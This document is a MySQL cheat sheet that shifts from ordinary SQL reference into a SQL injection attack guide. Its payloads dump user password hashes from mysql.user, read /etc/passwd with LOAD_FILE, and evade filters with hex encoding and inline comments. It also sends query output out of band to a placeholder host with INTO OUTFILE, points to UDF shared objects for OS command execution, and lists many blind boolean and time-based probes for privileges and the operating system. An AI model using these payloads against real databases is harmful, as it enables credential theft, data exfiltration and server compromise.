MySQL Cheat Sheet

Version:
SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os

Directories:
SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Users:
SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()

Current Database:
SELECT DATABASE()

Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Returns: Hello MySQL and hello world!

Multi-Concat:

#Stacks the row "foo" from the table "bar" together, using the separator "
".
#Note: This operation can by default only grab 1024 bytes, and do not allow LIMIT.
#The 1024 byte limit is stored in the @@group_concat_max_len variable.

SELECT GROUP_CONCAT(foo SEPARATOR '
') FROM bar

Better-Concat:

#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROUP_CONCAT().
#Which therefor allows you to concat strings together up to the @@max_allowed_packet size,
#instead of @@group_concat_max_len. The default value for @@max_allowed_packet is currently set to
#1048576 bytes, instead of @@group_concat_max_len's 1024.

SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 0,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 1,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 2,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 3,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 4,1)))

Change Collation:

SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from any other collation.
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.

Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) starting with "test".
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) ending with "test".

Regular Expression in SELECT(s):

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'

SELECT Without Dublicates:

SELECT DISTINCT foo FROM bar

Counting Columns:
SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from the table "bar".

Get Amount of MySQL Users:
SELECT COUNT(user) FROM mysql.user

Get MySQL Users:
SELECT user FROM mysql.user

Get MySQL User Privileges:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges

Get MySQL User Privileges on Different Databases:
SELECT grantee,table_schema,privilege_type FROM information_schema.schema_privileges

Get MySQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get MySQL User Credentials & Privileges:
SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Update_priv,Delete_priv,
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,
Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,
Repl_client_priv) FROM mysql.user

Get MySQL DBA Accounts:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges WHERE privilege_type='SUPER'
SELECT host,user FROM mysql.user WHERE Super_priv='Y'

Get Databases:
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT db FROM mysql.db
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:

SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.

Benchmark (Heavy Query):

#Performs an MD5 calculation of "1" for 10000 times.

SELECT BENCHMARK(10000,MD5(1))

Sleep:

#Works only in MySQL 5 and above.#Sleeps for 5 seconds, returns 0 on success.

SELECT SLEEP(5)

Conversion (Casting):

SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A

Substring:

SELECT SUBSTR('foobar',1,3); #Returns: foo

Hexadecimal Evasion:

SELECT 0x41424344; #Returns: ABCD
SELECT 0x2E; #Returns: .
SELECT 0x3A; #Returns: :

ASCII to Number:

SELECT ASCII('A'); #Returns: 65

Number to ASCII:

SELECT CHAR(65); #Returns: A
SELECT CHAR(89); #Returns: Y
SELECT CHAR(116,101,115,116); #Returns: test

If Statement:

#Returns 1 if the database is running MySQL 5.

SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);

#Returns 1 if the database is running MySQL 4.

SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);

Case Statement:

#Returns 1 if the database is running MySQL 5.

SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END

#Returns 1 if the database is running MySQL 4.

SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END

Read File(s):

#Requires you to have the File_priv in mysql.user. On error this statement will return NULL.

SELECT LOAD_FILE('/etc/passwd')

Write File(s):

#You must use quotes on the filename!

SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hello World')

Logical Operator(s):

AND, &&; #The AND operator have && as an alternative syntax.

OR, ||;  #The OR operator have || as an alternative syntax.

NOT, !; #The NOT operator have ! as an alternative syntax.

XOR; #The XOR operator got no alternative syntax.

Fuzzy Code Comment:

#Code within /*! are getting executed by MySQL. Additional /*! can be used instead of space as evasion.
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/

Comments:

SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line commentSELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-byte. It do not work together with PHP though.

A few evasions/methods to use between your MySQL statements:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Fuzzy Comment (/*!); #Be sure to end your query with (*/)

Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))

Auto-Casting to Right Collation:

SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s) to the current collation.

DNS Requests (OOB (Out-Of-Band)):

#For more information check this.

SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_as.txt’

Command Execution:

#If you're on a MySQL 4.X server, it's possible to execute OS commands as long as you're DBA.
#It can be done if you're able to upload a shared object into /usr/lib.#The file extension is .so, and it must contain an "User Defined Function", UDF.
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.
#The CPU architecture can be resolved by this query:

SELECT @@version_machine;

A couple of useful blind queries to fingerprint the database.

All of these return either True or False, as in, you either get a result or you don't.

Version:

SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53; #MySQL 5
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52; #MySQL 4

Running as root:

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=UNHEX(HEX(0x726F6F74)),1,0)=1

Got File_priv:

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1

Got Super_priv (Are we DBA):

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1

Can MySQL Sleep:

#This query will return True and should take above 1 second to execute. If it's a success.

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1

Can MySQL Benchmark:

SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1

Are we on *NIX:

SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47

Are we on Windows:

SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=58,1,0)=1

Do a certain column exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE column_name LIKE 'your_column' LIMIT 0,1)>0

Do a certain table exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.columns WHERE table_name LIKE 'your_table' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_name LIKE 'your_table' LIMIT 0,1)>0

Do a certain database exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.columns WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.tables WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information_schema.schemata WHERE schema_name LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db WHERE db LIKE 'your_database' LIMIT 0,1)>0